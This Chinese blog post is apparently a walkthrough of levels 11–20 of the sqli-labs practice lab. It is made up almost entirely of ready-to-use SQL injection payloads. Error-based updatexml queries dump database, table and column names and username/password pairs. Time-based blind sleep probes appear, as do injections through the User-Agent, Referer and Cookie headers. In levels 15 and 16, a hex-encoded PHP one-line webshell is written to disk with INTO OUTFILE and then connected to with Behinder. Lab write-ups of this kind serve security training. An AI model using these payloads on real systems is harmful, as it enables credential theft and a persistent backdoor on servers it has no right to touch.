Sqlilab闯关记录(11~20)(白盒测试)

前面10关使用黑盒测试,本篇使用白盒测试,即查看网页源码找到注入点

第11关(POST请求+单引号闭合)

第11关是post请求,当输入正确的账号密码页面显示登陆成功。

Sqlilab闯关记录(11~20)(白盒测试)_第1张图片

 查看网页源码,发现可以使用‘闭合,而且网页把sql语句的错误信息输出 ,可以使用报错注入。Sqlilab闯关记录(11~20)(白盒测试)_第2张图片

下面开始寻找注入点,尝试在uname参数注入payload:

uname=Dumb' and 1=1#&passwd=Dumb&submit=Submit页面正常显示

uname=Dumb' and 1=2#&passwd=Dumb&submit=Submit页面报错

找到注入点

Sqlilab闯关记录(11~20)(白盒测试)_第3张图片

尝试注入:

payload:

 uname=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=Dumb&submit=Submit

爆出数据库名称security

Sqlilab闯关记录(11~20)(白盒测试)_第4张图片

接下来就是熟悉的爆表和爆列名和爆数据: 

uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

爆出表名users

Sqlilab闯关记录(11~20)(白盒测试)_第5张图片

 uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

爆出users表的所有列

Sqlilab闯关记录(11~20)(白盒测试)_第6张图片

uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#

爆数据:

Sqlilab闯关记录(11~20)(白盒测试)_第7张图片

payload:

爆security的表名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第12关(双引号+括号闭合)

第十二关使用”闭合,同样输出sql语句查询的报错信息,使用报错注入

Sqlilab闯关记录(11~20)(白盒测试)_第8张图片

第十二关和第十一关的思路相同,只不过这一关使用:)闭合前面的sql语句,就不重复演示了,给出下面payload:

爆security的表名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十三关(单引号+括号闭合)

第十三关使用’)闭合,同样输出sql语句查询的报错信息,使用报错注入

Sqlilab闯关记录(11~20)(白盒测试)_第9张图片

第十三关和第十一关思路也相同,只不过这一关使用‘)闭合前面的sql语句,不重复演示,给出下面的payload:

爆security的表名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十四关(双引号闭合)

第十四关使用“闭合,同样输出sql语句查询的报错信息,使用报错注入

Sqlilab闯关记录(11~20)(白盒测试)_第10张图片

这一关很简单,使用双引号闭合就可以了,不重复演示,思路和上面几道题都一模一样,给出payload:

爆security的表名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十五关(时间盲注)

第十五关发现报错注入页面没有回显,说明用不了,所以尝试使用时间盲注,网页源代码中也表明把数据库的error信息屏蔽掉了。

Sqlilab闯关记录(11~20)(白盒测试)_第11张图片

payload:

uname=Dumb' and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit

数据库的长度若为8,页面5秒后返回,找到数据的长度

接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)

更简单的是写一句话木马到数据库中然后使用冰蝎链接。

一句话木马:

uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less15.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

Sqlilab闯关记录(11~20)(白盒测试)_第12张图片

 第十六关

第十六关使用”)闭合,sql语句的报错信息被屏蔽了,所以还是使用时间盲注

Sqlilab闯关记录(11~20)(白盒测试)_第13张图片

 其他思路和上一关一样

payload:

uname=Dumb“) and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit

数据库的长度若为8,页面5秒后返回,找到数据的长度

接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)

更简单的是写一句话木马到数据库中然后使用冰蝎链接。

一句话木马:

uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less16.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

第十七关

第十七关发现源码中多了对输入字符转码的函数,但只对uname进行检查,可以在password处进行注入

Sqlilab闯关记录(11~20)(白盒测试)_第14张图片

同时发现要用户名正确之后才会执行update语句,才可出现注入点password。

存在sql查询语句的报错信息输出,可以使用报错注入

Sqlilab闯关记录(11~20)(白盒测试)_第15张图片

payload:

uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit

Sqlilab闯关记录(11~20)(白盒测试)_第16张图片

 

成功爆出数据库名称security,接下来就是和前面一样的爆数据

 payload:

爆security的表名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit

爆users的列名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit

爆数据:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit

uname=Dumb#&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit

第十八关

首先观察源码,发现对输入的uname和password都进行了转义,所以第一条查询语句无注入点,发现下面还有一条insert语句存在注入点,uagent可进行注入

Sqlilab闯关记录(11~20)(白盒测试)_第17张图片

Sqlilab闯关记录(11~20)(白盒测试)_第18张图片

 使用burpsuit进行抓包,然后将user-agent字段改为

1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

insert语句被改写,页面爆出数据库名称security

Sqlilab闯关记录(11~20)(白盒测试)_第19张图片 

 

 第十九关

查看源码,发现此关注入点在refer字段,还是用burpsuit抓包,修改字段,和上一关一样。

Sqlilab闯关记录(11~20)(白盒测试)_第20张图片

 

 第二十关

此关注入点在cookie字段,源码如下:

Sqlilab闯关记录(11~20)(白盒测试)_第21张图片

在burpsuit的cookie字段加payload:

Cookie: uname=Dumb'' and updatexml(1,concat(0x7e,database(),0x7e),1)#

Sqlilab闯关记录(11~20)(白盒测试)_第22张图片

爆出数据库名称security,接下来还是熟悉的爆数据工作,就不再重重复演示了。 

Sqlilab闯关记录(11~20)(白盒测试)_第23张图片

 

 

你可能感兴趣的:(安全性测试,系统安全,数据库,安全)